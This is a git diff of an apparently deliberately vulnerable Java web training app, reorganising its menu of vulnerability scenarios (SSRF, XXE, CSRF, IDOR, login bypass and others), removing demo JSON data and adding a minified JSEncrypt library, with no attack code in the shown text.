0ca478e..e90f5bb 100644 --- a/src/main/resources/mapper/UserMapper.xml +++ b/src/main/resources/mapper/UserMapper.xml @@ -25,4 +25,9 @@ set password = #{password,jdbcType=VARCHAR} where username = #{username,jdbcType=VARCHAR} + diff --git a/src/main/resources/static/api/clear.json b/src/main/resources/static/api/clear.json old mode 100644 new mode 100755 diff --git a/src/main/resources/static/api/init.json b/src/main/resources/static/api/init.json old mode 100644 new mode 100755 index 51d7e97..ff32378 --- a/src/main/resources/static/api/init.json +++ b/src/main/resources/static/api/init.json @@ -28,13 +28,13 @@ "target": "_self", "child": [ { - "title": "漏洞环境", + "title": "漏洞场景", "href": "xss/reflect/vul", "icon": "iconfont icon-bug", "target": "_self" }, { - "title": "安全环境", + "title": "安全场景", "href": "xss/reflect/safe", "icon": "iconfont icon-anquan", "target": "_self" @@ -74,13 +74,13 @@ "target": "_self", "child": [ { - "title": "漏洞环境", + "title": "漏洞场景", "href": "sqli/jdbc/jdbcVul", "icon": "iconfont icon-bug", "target": "_self" }, { - "title": "安全代码", + "title": "安全场景", "href": "sqli/jdbc/jdbcSafe", "icon": "iconfont icon-anquan", "target": "_self" @@ -146,52 +146,77 @@ ] }, { - "title": "RCE", + "title": "SSRF", + "href": "ssrf", + "icon": "iconfont icon-fuwuqingqiu", + "target": "_self" + }, + { + "title": "XXE", "href": "", - "icon": "iconfont icon-minglingzhihang", + "icon": "iconfont icon-XML", "target": "_self", "child": [ { - "title": "命令注入", - "href": "command", - "icon": "iconfont icon-minglingzhihang", + "title": "漏洞场景", + "href": "xxe/vul", + "icon": "iconfont icon-bug", "target": "_self" }, { - "title": "代码注入", - "href": "code", - "icon": "iconfont icon-minglingzhihang", + "title": "安全场景", + "href": "xxe/safe", + "icon": "iconfont icon-anquan", "target": "_self" } ] }, { - "title": "SSRF", - "href": "ssrf", - "icon": "iconfont icon-fuwuqingqiu", + "title": "CSRF", + "href": "csrf", + "icon": "iconfont icon-kuazhanqingqiuweizao", "target": "_self" }, { - "title": "XXE", + "title": "跨源安全", "href": "", - "icon": "iconfont icon-XML", + "icon": "iconfont icon-origin", "target": "_self", "child": [ { - "title": "漏洞环境", - "href": "xxe/vul", - "icon": "iconfont icon-bug", + "title": "CORS", + "href": "crossorigin/cors", + "icon": "iconfont icon-cors", "target": "_self" }, { - "title": "安全环境", - "href": "xxe/safe", - "icon": "iconfont icon-anquan", + "title": "JSONP", + "href": "crossorigin/jsonp", + "icon": "iconfont icon-JSON", + "target": "_self" + } + ] + }, + { + "title": "RCE", + "href": "", + "icon": "iconfont icon-minglingzhihang", + "target": "_self", + "child": [ + { + "title": "命令注入", + "href": "command", + "icon": "iconfont icon-minglingzhihang", + "target": "_self" + }, + { + "title": "代码注入", + "href": "code", + "icon": "iconfont icon-minglingzhihang", "target": "_self" } ] }, - { "title": "逻辑漏洞", "href": "", @@ -201,14 +226,53 @@ { "title": "越权漏洞(IDOR)", "href": "", - "icon": "iconfont icon-redirect", - "target": "_self" + "icon": "iconfont icon-quanxian", + "target": "_self", + "child": [ + { + "title": "水平越权", + "href": "logic/idor/horizontal", + "icon": "iconfont icon-24gl-swapHorizontal3", + "target": "_self" + }, + { + "title": "垂直越权", + "href": "logic/idor/vertical", + "icon": "iconfont icon-24gl-swapVertical3", + "target": "_self" + } + ] }, { "title": "支付漏洞", + "href": "logic/pay", + "icon": "iconfont icon-zhifu", + "target": "_self" + }, { + "title": "并发安全", "href": "", - "icon": "iconfont icon-redirect", + "icon": "iconfont icon-gaobingfa", "target": "_self" + }, + { + "title": "验证码安全", + "href": "", + "icon": "iconfont icon-yanzhengma1", + "target": "_self", + "child": [ + { + "title": "图形验证码", + "href": "logic/captcha/graphic", + "icon": "iconfont icon-yanzhengma", + "target": "_self" + }, + { + "title": "短信验证码", + "href": "logic/captcha/sms", + "icon": "iconfont icon-duanxin", + "target": "_self" + } + ] } ] }, @@ -225,13 +289,13 @@ "target": "_self", "child": [ { - "title": "漏洞环境", + "title": "漏洞场景", "href": "other/URLRedirect/vul", "icon": "iconfont icon-bug", "target": "_self" }, { - "title": "安全环境", + "title": "安全场景", "href": "other/URLRedirect/safe", "icon": "iconfont icon-anquan", "target": "_self" @@ -245,30 +309,16 @@ "target": "_self" }, { - "title": "跨站请求伪造", - "href": "other/csrf", - "icon": "iconfont icon-kuazhanqingqiuweizao", + "title": "Dos攻击", + "href": "other/dos", + "icon": "iconfont icon-DOSgongji", "target": "_self" }, { - "title": "跨源安全问题", - "href": "", - "icon": "iconfont icon-origin", - "target": "_self", - "child": [ - { - "title": "CORS", - "href": "other/CrossOrigin/cors", - "icon": "iconfont icon-cors", - "target": "_self" - }, - { - "title": "JSONP", - "href": "other/CrossOrigin/jsonp", - "icon": "iconfont icon-JSON", - "target": "_self" - } - ] + "title": "XPATH注入", + "href": "other/xpath", + "icon": "iconfont icon-XPath", + "target": "_self" } ] }, @@ -303,7 +353,40 @@ "target": "_self" } ] + }, + { + "title": "登录对抗", + "href": "", + "icon": "iconfont icon-denglukuang", + "target": "_self", + "child": [ + { + "title": "账号安全", + "href": "/loginconfront/account", + "icon": "iconfont icon-zhanghao", + "target": "_self" + }, + { + "title": "登录绕过", + "href": "/loginconfront/bypass", + "icon": "iconfont icon-mimazhaohui", + "target": "_self" + }, + { + "title": "JS逆向", + "href": "/loginconfront/reverse", + "icon": "iconfont icon-JS", + "target": "_self" + }, + { + "title": "凭证安全", + "href": "/loginconfront/credential", + "icon": "iconfont icon-quanxianweizao", + "target": "_self" + } + ] } + ] }, { @@ -394,6 +477,7 @@ } ] } + ] } ] diff --git a/src/main/resources/static/api/menus.json b/src/main/resources/static/api/menus.json deleted file mode 100644 index e14d00e..0000000 --- a/src/main/resources/static/api/menus.json +++ /dev/null @@ -1,254 +0,0 @@ -{ - "code": 0, - "msg": "", - "count": 19, - "data": [ - { - "authorityId": 1, - "authorityName": "系统管理", - "orderNumber": 1, - "menuUrl": null, - "menuIcon": "layui-icon-set", - "createTime": "2018/06/29 11:05:41", - "authority": null, - "checked": 0, - "updateTime": "2018/07/13 09:13:42", - "isMenu": 0, - "parentId": -1 - }, - { - "authorityId": 2, - "authorityName": "用户管理", - "orderNumber": 2, - "menuUrl": "system/user", - "menuIcon": null, - "createTime": "2018/06/29 11:05:41", - "authority": null, - "checked": 0, - "updateTime": "2018/07/13 09:13:42", - "isMenu": 0, - "parentId": 1 - }, - { - "authorityId": 3, - "authorityName": "查询用户", - "orderNumber": 3, - "menuUrl": "", - "menuIcon": "", - "createTime": "2018/07/21 13:54:16", - "authority": "user:view", - "checked": 0, - "updateTime": "2018/07/21 13:54:16", - "isMenu": 1, - "parentId": 2 - }, - { - "authorityId": 4, - "authorityName": "添加用户", - "orderNumber": 4, - "menuUrl": null, - "menuIcon": null, - "createTime": "2018/06/29 11:05:41", - "authority": "user:add", - "checked": 0, - "updateTime": "2018/07/13 09:13:42", - "isMenu": 1, - "parentId": 2 - }, - { - "authorityId": 5, - "authorityName": "修改用户", - "orderNumber": 5, - "menuUrl": null, - "menuIcon": null, - "createTime": "2018/06/29 11:05:41", - "authority": "user:edit", - "checked": 0, - "updateTime": "2018/07/13 09:13:42", - "isMenu": 1, - "parentId": 2 - }, - { - "authorityId": 6, - "authorityName": "删除用户", - "orderNumber": 6, - "menuUrl": null, - "menuIcon": null, - "createTime": "2018/06/29 11:05:41", - "authority": "user:delete", - "checked": 0, - "updateTime": "2018/07/13 09:13:42", - "isMenu": 1, - "parentId": 2 - }, - { - "authorityId": 7, - "authorityName": "角色管理", - "orderNumber": 7, - "menuUrl": "system/role", - "menuIcon": null, - "createTime": "2018/06/29 11:05:41", - "authority": null, - "checked": 0, - "updateTime": "2018/07/13 09:13:42", - "isMenu": 0, - "parentId": 1 - }, - { - "authorityId": 8, - "authorityName": "查询角色", - "orderNumber": 8, - "menuUrl": "", - "menuIcon": "", - "createTime": "2018/07/21 13:54:59", - "authority": "role:view", - "checked": 0, - "updateTime": "2018/07/21 13:54:58", - "isMenu": 1, - "parentId": 7 - }, - { - "authorityId": 9, - "authorityName": "添加角色", - "orderNumber": 9, - "menuUrl": "", - "menuIcon": "", - "createTime": "2018/06/29 11:05:41", - "authority": "role:add", - "checked": 0, - "updateTime": "2018/07/13 09:13:42", - "isMenu": 1, - "parentId": 7 - }, - { - "authorityId": 10, - "authorityName": "修改角色", - "orderNumber": 10, - "menuUrl": "", - "menuIcon": "", - "createTime": "2018/06/29 11:05:41", - "authority": "role:edit", - "checked": 0, - "updateTime": "2018/07/13 09:13:42", - "isMenu": 1, - "parentId": 7 - }, - { - "authorityId": 11, - "authorityName": "删除角色", - "orderNumber": 11, - "menuUrl": "", - "menuIcon": "", - "createTime": "2018/06/29 11:05:41", - "authority": "role:delete", - "checked": 0, - "updateTime": "2018/07/13 09:13:42", - "isMenu": 1, - "parentId": 7 - }, - { - "authorityId": 12, - "authorityName": "角色权限管理", - "orderNumber": 12, - "menuUrl": "", - "menuIcon": "", - "createTime": "2018/06/29 11:05:41", - "authority": "role:auth", - "checked": 0, - "updateTime": "2018/07/13 15:27:18", - "isMenu": 1, - "parentId": 7 - }, - { - "authorityId": 13, - "authorityName": "权限管理", - "orderNumber": 13, - "menuUrl": "system/authorities", - "menuIcon": null, - "createTime": "2018/06/29 11:05:41", - "authority": null, - "checked": 0, - "updateTime": "2018/07/13 15:45:13", - "isMenu": 0, - "parentId": 1 - }, - { - "authorityId": 14, - "authorityName": "查询权限", - "orderNumber": 14, - "menuUrl": "", - "menuIcon": "", - "createTime": "2018/07/21 13:55:57", - "authority": "authorities:view", - "checked": 0, - "updateTime": "2018/07/21 13:55:56", - "isMenu": 1, - "parentId": 13 - }, - { - "authorityId": 15, - "authorityName": "添加权限", - "orderNumber": 15, - "menuUrl": "", - "menuIcon": "", - "createTime": "2018/06/29 11:05:41", - "authority": "authorities:add", - "checked": 0, - "updateTime": "2018/06/29 11:05:41", - "isMenu": 1, - "parentId": 13 - }, - { - "authorityId": 16, - "authorityName": "修改权限", - "orderNumber": 16, - "menuUrl": "", - "menuIcon": "", - "createTime": "2018/07/13 09:13:42", - "authority": "authorities:edit", - "checked": 0, - "updateTime": "2018/07/13 09:13:42", - "isMenu": 1, - "parentId": 13 - }, - { - "authorityId": 17, - "authorityName": "删除权限", - "orderNumber": 17, - "menuUrl": "", - "menuIcon": "", - "createTime": "2018/06/29 11:05:41", - "authority": "authorities:delete", - "checked": 0, - "updateTime": "2018/06/29 11:05:41", - "isMenu": 1, - "parentId": 13 - }, - { - "authorityId": 18, - "authorityName": "登录日志", - "orderNumber": 18, - "menuUrl": "system/loginRecord", - "menuIcon": null, - "createTime": "2018/06/29 11:05:41", - "authority": null, - "checked": 0, - "updateTime": "2018/06/29 11:05:41", - "isMenu": 0, - "parentId": 1 - }, - { - "authorityId": 19, - "authorityName": "查询登录日志", - "orderNumber": 19, - "menuUrl": "", - "menuIcon": "", - "createTime": "2018/07/21 13:56:43", - "authority": "loginRecord:view", - "checked": 0, - "updateTime": "2018/07/21 13:56:43", - "isMenu": 1, - "parentId": 18 - } - ] -} \ No newline at end of file diff --git a/src/main/resources/static/api/table.json b/src/main/resources/static/api/table.json deleted file mode 100644 index 7bda61b..0000000 --- a/src/main/resources/static/api/table.json +++ /dev/null @@ -1,127 +0,0 @@ -{ - "code": 0, - "msg": "", - "count": 1000, - "data": [ - { - "id": 10000, - "username": "user-0", - "sex": "女", - "city": "城市-0", - "sign": "签名-0", - "experience": 255, - "logins": 24, - "wealth": 82830700, - "classify": "作家", - "score": 57 - }, - { - "id": 10001, - "username": "user-1", - "sex": "男", - "city": "城市-1", - "sign": "签名-1", - "experience": 884, - "logins": 58, - "wealth": 64928690, - "classify": "词人", - "score": 27 - }, - { - "id": 10002, - "username": "user-2", - "sex": "女", - "city": "城市-2", - "sign": "签名-2", - "experience": 650, - "logins": 77, - "wealth": 6298078, - "classify": "酱油", - "score": 31 - }, - { - "id": 10003, - "username": "user-3", - "sex": "女", - "city": "城市-3", - "sign": "签名-3", - "experience": 362, - "logins": 157, - "wealth": 37117017, - "classify": "诗人", - "score": 68 - }, - { - "id": 10004, - "username": "user-4", - "sex": "男", - "city": "城市-4", - "sign": "签名-4", - "experience": 807, - "logins": 51, - "wealth": 76263262, - "classify": "作家", - "score": 6 - }, - { - "id": 10005, - "username": "user-5", - "sex": "女", - "city": "城市-5", - "sign": "签名-5", - "experience": 173, - "logins": 68, - "wealth": 60344147, - "classify": "作家", - "score": 87 - }, - { - "id": 10006, - "username": "user-6", - "sex": "女", - "city": "城市-6", - "sign": "签名-6", - "experience": 982, - "logins": 37, - "wealth": 57768166, - "classify": "作家", - "score": 34 - }, - { - "id": 10007, - "username": "user-7", - "sex": "男", - "city": "城市-7", - "sign": "签名-7", - "experience": 727, - "logins": 150, - "wealth": 82030578, - "classify": "作家", - "score": 28 - }, - { - "id": 10008, - "username": "user-8", - "sex": "男", - "city": "城市-8", - "sign": "签名-8", - "experience": 951, - "logins": 133, - "wealth": 16503371, - "classify": "词人", - "score": 14 - }, - { - "id": 10009, - "username": "user-9", - "sex": "女", - "city": "城市-9", - "sign": "签名-9", - "experience": 484, - "logins": 25, - "wealth": 86801934, - "classify": "词人", - "score": 75 - } - ] -} \ No newline at end of file diff --git a/src/main/resources/static/api/tableSelect.json b/src/main/resources/static/api/tableSelect.json deleted file mode 100644 index 37fb0ed..0000000 --- a/src/main/resources/static/api/tableSelect.json +++ /dev/null @@ -1,23 +0,0 @@ -{ - "code": 0, - "msg": "", - "count": 16, - "data": [ - { "id":"001", "username":"张玉林", "sex":"女" }, - { "id":"002", "username":"刘晓军", "sex":"男" }, - { "id":"003", "username":"张恒", "sex":"男" }, - { "id":"004", "username":"朱一", "sex":"男" }, - { "id":"005", "username":"刘佳能", "sex":"女" }, - { "id":"006", "username":"晓梅", "sex":"女" }, - { "id":"007", "username":"马冬梅", "sex":"女" }, - { "id":"008", "username":"刘晓庆", "sex":"女" }, - { "id":"009", "username":"刘晓庆", "sex":"女" }, - { "id":"010", "username":"刘晓庆", "sex":"女" }, - { "id":"011", "username":"刘晓庆", "sex":"女" }, - { "id":"012", "username":"刘晓庆", "sex":"女" }, - { "id":"013", "username":"刘晓庆", "sex":"女" }, - { "id":"014", "username":"刘晓庆", "sex":"女" }, - { "id":"015", "username":"刘晓庆", "sex":"女" }, - { "id":"016", "username":"刘晓庆", "sex":"女" } - ] -} \ No newline at end of file diff --git a/src/main/resources/static/api/upload.json b/src/main/resources/static/api/upload.json deleted file mode 100644 index 691902d..0000000 --- a/src/main/resources/static/api/upload.json +++ /dev/null @@ -1,10 +0,0 @@ -{ - "code": 1, - "msg": "上传成功", - "data": { - "url": [ - "../images/logo.png", - "../images/captcha.jpg" - ] - } -} diff --git a/src/main/resources/static/css/juejin.css b/src/main/resources/static/css/juejin.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/css/juejinsafe.css b/src/main/resources/static/css/juejinsafe.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/css/layuimini.css b/src/main/resources/static/css/layuimini.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/css/public.css b/src/main/resources/static/css/public.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/css/themes/default.css b/src/main/resources/static/css/themes/default.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/images/bg.jpg b/src/main/resources/static/images/bg.jpg deleted file mode 100644 index 82b853e..0000000 Binary files a/src/main/resources/static/images/bg.jpg and /dev/null differ diff --git a/src/main/resources/static/images/home.png b/src/main/resources/static/images/home.png deleted file mode 100644 index 348ff27..0000000 Binary files a/src/main/resources/static/images/home.png and /dev/null differ diff --git a/src/main/resources/static/images/icon-login.png b/src/main/resources/static/images/icon-login.png deleted file mode 100644 index 1db2f96..0000000 Binary files a/src/main/resources/static/images/icon-login.png and /dev/null differ diff --git a/src/main/resources/static/images/loginbg.png b/src/main/resources/static/images/loginbg.png deleted file mode 100644 index 675c74b..0000000 Binary files a/src/main/resources/static/images/loginbg.png and /dev/null differ diff --git a/src/main/resources/static/images/vul/components/deserialize.jpg b/src/main/resources/static/images/vul/components/deserialize.jpg old mode 100644 new mode 100755 diff --git a/src/main/resources/static/images/vul/components/fastjson.png b/src/main/resources/static/images/vul/components/fastjson.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/images/vul/components/log4j.png b/src/main/resources/static/images/vul/components/log4j.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/images/vul/components/shiro.png b/src/main/resources/static/images/vul/components/shiro.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/images/vul/crossOrigin/sameOrign.png b/src/main/resources/static/images/vul/crossOrigin/sameOrign.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/images/vul/csrf/csrf.png b/src/main/resources/static/images/vul/csrf/csrf.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/images/vul/dos/dos.jpeg b/src/main/resources/static/images/vul/dos/dos.jpeg new file mode 100755 index 0000000..aeb69af Binary files /dev/null and b/src/main/resources/static/images/vul/dos/dos.jpeg differ diff --git a/src/main/resources/static/images/vul/idor/idor.png b/src/main/resources/static/images/vul/idor/idor.png new file mode 100755 index 0000000..c534a44 Binary files /dev/null and b/src/main/resources/static/images/vul/idor/idor.png differ diff --git a/src/main/resources/static/images/vul/jdbc/jdbc.png b/src/main/resources/static/images/vul/jdbc/jdbc.png new file mode 100755 index 0000000..a4cf54f Binary files /dev/null and b/src/main/resources/static/images/vul/jdbc/jdbc.png differ diff --git a/src/main/resources/static/images/vul/memshell/filter.png b/src/main/resources/static/images/vul/memshell/filter.png new file mode 100755 index 0000000..8b13789 --- /dev/null +++ b/src/main/resources/static/images/vul/memshell/filter.png @@ -0,0 +1 @@ + diff --git a/src/main/resources/static/images/vul/memshell/listener.png b/src/main/resources/static/images/vul/memshell/listener.png new file mode 100755 index 0000000..8b13789 --- /dev/null +++ b/src/main/resources/static/images/vul/memshell/listener.png @@ -0,0 +1 @@ + diff --git a/src/main/resources/static/images/vul/memshell/servlet.png b/src/main/resources/static/images/vul/memshell/servlet.png new file mode 100755 index 0000000..8b13789 --- /dev/null +++ b/src/main/resources/static/images/vul/memshell/servlet.png @@ -0,0 +1 @@ + diff --git a/src/main/resources/static/images/vul/ssrf/ssrf.jpg b/src/main/resources/static/images/vul/ssrf/ssrf.jpg old mode 100644 new mode 100755 diff --git a/src/main/resources/static/images/vul/xss/dom.png b/src/main/resources/static/images/vul/xss/dom.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/images/vul/xss/reflect.png b/src/main/resources/static/images/vul/xss/reflect.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/images/vul/xss/store.jpg b/src/main/resources/static/images/vul/xss/store.jpg old mode 100644 new mode 100755 diff --git a/src/main/resources/static/images/vul/xxe/xxe.png b/src/main/resources/static/images/vul/xxe/xxe.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/hackcookie.js b/src/main/resources/static/js/hackcookie.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/header.js b/src/main/resources/static/js/header.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/jquery.request.js b/src/main/resources/static/js/jquery.request.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/jsencrypt.min.js b/src/main/resources/static/js/jsencrypt.min.js new file mode 100755 index 0000000..c2b6b10 --- /dev/null +++ b/src/main/resources/static/js/jsencrypt.min.js @@ -0,0 +1,1540 @@ +/*! For license information please see jsencrypt.min.js.LICENSE.txt */ +!function (t, e) { + "object" == typeof exports && "object" == typeof module ? module.exports = e() : "function" == typeof define && define.amd ? define([], e) : "object" == typeof exports ? exports.JSEncrypt = e() : t.JSEncrypt = e() +}(window, (function () { + return (() => { + "use strict"; + var t = { + 771: (t, e, i) => { + function r(t) { + return "0123456789abcdefghijklmnopqrstuvwxyz".charAt(t) + } + + function n(t, e) { + return t & e + } + + function s(t, e) { + return t | e + } + + function o(t, e) { + return t ^ e + } + + function h(t, e) { + return t & ~e + } + + function a(t) { + if (0 == t) return -1; + var e = 0; + return 0 == (65535 & t) && (t >>= 16, e += 16), 0 == (255 & t) && (t >>= 8, e += 8), 0 == (15 & t) && (t >>= 4, e += 4), 0 == (3 & t) && (t >>= 2, e += 2), 0 == (1 & t) && ++e, e + } + + function u(t) { + for (var e = 0; 0 != t;) t &= t - 1, ++e; + return e + } + + i.d(e, {default: () => nt}); + var c, f = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; + + function l(t) { + var e, i, r = ""; + for (e = 0; e + 3 <= t.length; e += 3) i = parseInt(t.substring(e, e + 3), 16), r += f.charAt(i >> 6) + f.charAt(63 & i); + for (e + 1 == t.length ? (i = parseInt(t.substring(e, e + 1), 16), r += f.charAt(i << 2)) : e + 2 == t.length && (i = parseInt(t.substring(e, e + 2), 16), r += f.charAt(i >> 2) + f.charAt((3 & i) << 4)); (3 & r.length) > 0;) r += "="; + return r + } + + function p(t) { + var e, i = "", n = 0, s = 0; + for (e = 0; e < t.length && "=" != t.charAt(e); ++e) { + var o = f.indexOf(t.charAt(e)); + o < 0 || (0 == n ? (i += r(o >> 2), s = 3 & o, n = 1) : 1 == n ? (i += r(s << 2 | o >> 4), s = 15 & o, n = 2) : 2 == n ? (i += r(s), i += r(o >> 2), s = 3 & o, n = 3) : (i += r(s << 2 | o >> 4), i += r(15 & o), n = 0)) + } + return 1 == n && (i += r(s << 2)), i + } + + var g, d = { + decode: function (t) { + var e; + if (void 0 === g) { + var i = "= \f\n\r\t \u2028\u2029"; + for (g = Object.create(null), e = 0; e < 64; ++e) g["ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt(e)] = e; + for (g["-"] = 62, g._ = 63, e = 0; e < i.length; ++e) g[i.charAt(e)] = -1 + } + var r = [], n = 0, s = 0; + for (e = 0; e < t.length; ++e) { + var o = t.charAt(e); + if ("=" == o) break; + if (-1 != (o = g[o])) { + if (void 0 === o) throw new Error("Illegal character at offset " + e); + n |= o, ++s >= 4 ? (r[r.length] = n >> 16, r[r.length] = n >> 8 & 255, r[r.length] = 255 & n, n = 0, s = 0) : n <<= 6 + } + } + switch (s) { + case 1: + throw new Error("Base64 encoding incomplete: at least 2 bits missing"); + case 2: + r[r.length] = n >> 10; + break; + case 3: + r[r.length] = n >> 16, r[r.length] = n >> 8 & 255 + } + return r + }, + re: /-----BEGIN [^-]+-----([A-Za-z0-9+\/=\s]+)-----END [^-]+-----|begin-base64[^\n]+\n([A-Za-z0-9+\/=\s]+)====/, + unarmor: function (t) { + var e = d.re.exec(t); + if (e) if (e[1]) t = e[1]; else { + if (!e[2]) throw new Error("RegExp out of sync"); + t = e[2] + } + return d.decode(t) + } + }, v = 1e13, m = function () { + function t(t) { + this.buf = [+t || 0] + } + + return t.prototype.mulAdd = function (t, e) { + var i, r, n = this.buf, s = n.length; + for (i = 0; i < s; ++i) (r = n[i] * t + e) < v ? e = 0 : r -= (e = 0 | r / v) * v, n[i] = r; + e > 0 && (n[i] = e) + }, t.prototype.sub = function (t) { + var e, i, r = this.buf, n = r.length; + for (e = 0; e < n; ++e) (i = r[e] - t) < 0 ? (i += v, t = 1) : t = 0, r[e] = i; + for (; 0 === r[r.length - 1];) r.pop() + }, t.prototype.toString = function (t) { + if (10 != (t || 10)) throw new Error("only base 10 is supported"); + for (var e = this.buf, i = e[e.length - 1].toString(), r = e.length - 2; r >= 0; --r) i += (v + e[r]).toString().substring(1); + return i + }, t.prototype.valueOf = function () { + for (var t = this.buf, e = 0, i = t.length - 1; i >= 0; --i) e = e * v + t[i]; + return e + }, t.prototype.simplify = function () { + var t = this.buf; + return 1 == t.length ? t[0] : this + }, t + }(), + y = /^(\d\d)(0[1-9]|1[0-2])(0[1-9]|[12]\d|3[01])([01]\d|2[0-3])(?:([0-5]\d)(?:([0-5]\d)(?:[.,](\d{1,3}))?)?)?(Z|[-+](?:[0]\d|1[0-2])([0-5]\d)?)?$/, + b = /^(\d\d\d\d)(0[1-9]|1[0-2])(0[1-9]|[12]\d|3[01])([01]\d|2[0-3])(?:([0-5]\d)(?:([0-5]\d)(?:[.,](\d{1,3}))?)?)?(Z|[-+](?:[0]\d|1[0-2])([0-5]\d)?)?$/; + + function T(t, e) { + return t.length > e && (t = t.substring(0, e) + "…"), t + } + + var S, E = function () { + function t(e, i) { + this.hexDigits = "0123456789ABCDEF", e instanceof t ? (this.enc = e.enc, this.pos = e.pos) : (this.enc = e, this.pos = i) + } + + return t.prototype.get = function (t) { + if (void 0 === t && (t = this.pos++), t >= this.enc.length) throw new Error("Requesting byte offset " + t + " on a stream of length " + this.enc.length); + return "string" == typeof this.enc ? this.enc.charCodeAt(t) : this.enc[t] + }, t.prototype.hexByte = function (t) { + return this.hexDigits.charAt(t >> 4 & 15) + this.hexDigits.charAt(15 & t) + }, t.prototype.hexDump = function (t, e, i) { + for (var r = "", n = t; n < e; ++n) if (r += this.hexByte(this.get(n)), !0 !== i) switch (15 & n) { + case 7: + r += " "; + break; + case 15: + r += "\n"; + break; + default: + r += " " + } + return r + }, t.prototype.isASCII = function (t, e) { + for (var i = t; i < e; ++i) { + var r = this.get(i); + if (r < 32 || r > 176) return !1 + } + return !0 + }, t.prototype.parseStringISO = function (t, e) { + for (var i = "", r = t; r < e; ++r) i += String.fromCharCode(this.get(r)); + return i + }, t.prototype.parseStringUTF = function (t, e) { + for (var i = "", r = t; r < e;) { + var n = this.get(r++); + i += n < 128 ? String.fromCharCode(n) : n > 191 && n < 224 ? String.fromCharCode((31 & n) << 6 | 63 & this.get(r++)) : String.fromCharCode((15 & n) << 12 | (63 & this.get(r++)) << 6 | 63 & this.get(r++)) + } + return i + }, t.prototype.parseStringBMP = function (t, e) { + for (var i, r, n = "", s = t; s < e;) i = this.get(s++), r = this.get(s++), n += String.fromCharCode(i << 8 | r); + return n + }, t.prototype.parseTime = function (t, e, i) { + var r = this.parseStringISO(t, e), n = (i ? y : b).exec(r); + return n ? (i && (n[1] = +n[1], n[1] += +n[1] < 70 ? 2e3 : 1900), r = n[1] + "-" + n[2] + "-" + n[3] + " " + n[4], n[5] && (r += ":" + n[5], n[6] && (r += ":" + n[6], n[7] && (r += "." + n[7]))), n[8] && (r += " UTC", "Z" != n[8] && (r += n[8], n[9] && (r += ":" + n[9]))), r) : "Unrecognized time: " + r + }, t.prototype.parseInteger = function (t, e) { + for (var i, r = this.get(t), n = r > 127, s = n ? 255 : 0, o = ""; r == s && ++t < e;) r = this.get(t); + if (0 == (i = e - t)) return n ? -1 : 0; + if (i > 4) { + for (o = r, i <<= 3; 0 == (128 & (+o ^ s));) o = +o << 1, --i; + o = "(" + i + " bit)\n" + } + n && (r -= 256); + for (var h = new m(r), a = t + 1; a < e; ++a) h.mulAdd(256, this.get(a)); + return o + h.toString() + }, t.prototype.parseBitString = function (t, e, i) { + for (var r = this.get(t), n = "(" + ((e - t - 1 << 3) - r) + " bit)\n", s = "", o = t + 1; o < e; ++o) { + for (var h = this.get(o), a = o == e - 1 ? r : 0, u = 7; u >= a; --u) s += h >> u & 1 ? "1" : "0"; + if (s.length > i) return n + T(s, i) + } + return n + s + }, t.prototype.parseOctetString = function (t, e, i) { + if (this.isASCII(t, e)) return T(this.parseStringISO(t, e), i); + var r = e - t, n = "(" + r + " byte)\n"; + r > (i /= 2) && (e = t + i); + for (var s = t; s < e; ++s) n += this.hexByte(this.get(s)); + return r > i && (n += "…"), n + }, t.prototype.parseOID = function (t, e, i) { + for (var r = "", n = new m, s = 0, o = t; o < e; ++o) { + var h = this.get(o); + if (n.mulAdd(128, 127 & h), s += 7, !(128 & h)) { + if ("" === r) if ((n = n.simplify()) instanceof m) n.sub(80), r = "2." + n.toString(); else { + var a = n < 80 ? n < 40 ? 0 : 1 : 2; + r = a + "." + (n - 40 * a) + } else r += "." + n.toString(); + if (r.length > i) return T(r, i); + n = new m, s = 0 + } + } + return s > 0 && (r += ".incomplete"), r + }, t + }(), w = function () { + function t(t, e, i, r, n) { + if (!(r instanceof D)) throw new Error("Invalid tag value."); + this.stream = t, this.header = e, this.length = i, this.tag = r, this.sub = n + } + + return t.prototype.typeName = function () { + switch (this.tag.tagClass) { + case 0: + switch (this.tag.tagNumber) { + case 0: + return "EOC"; + case 1: + return "BOOLEAN"; + case 2: + return "INTEGER"; + case 3: + return "BIT_STRING"; + case 4: + return "OCTET_STRING"; + case 5: + return "NULL"; + case 6: + return "OBJECT_IDENTIFIER"; + case 7: + return "ObjectDescriptor"; + case 8: + return "EXTERNAL"; + case 9: + return "REAL"; + case 10: + return "ENUMERATED"; + case 11: + return "EMBEDDED_PDV"; + case 12: + return "UTF8String"; + case 16: + return "SEQUENCE"; + case 17: + return "SET"; + case 18: + return "NumericString"; + case 19: + return "PrintableString"; + case 20: + return "TeletexString"; + case 21: + return "VideotexString"; + case 22: + return "IA5String"; + case 23: + return "UTCTime"; + case 24: + return "GeneralizedTime"; + case 25: + return "GraphicString"; + case 26: + return "VisibleString"; + case 27: + return "GeneralString"; + case 28: + return "UniversalString"; + case 30: + return "BMPString" + } + return "Universal_" + this.tag.tagNumber.toString(); + case 1: + return "Application_" + this.tag.tagNumber.toString(); + case 2: + return "[" + this.tag.tagNumber.toString() + "]"; + case 3: + return "Private_" + this.tag.tagNumber.toString() + } + }, t.prototype.content = function (t) { + if (void 0 === this.tag) return null; + void 0 === t && (t = 1 / 0); + var e = this.posContent(), i = Math.abs(this.length); + if (!this.tag.isUniversal()) return null !== this.sub ? "(" + this.sub.length + " elem)" : this.stream.parseOctetString(e, e + i, t); + switch (this.tag.tagNumber) { + case 1: + return 0 === this.stream.get(e) ? "false" : "true"; + case 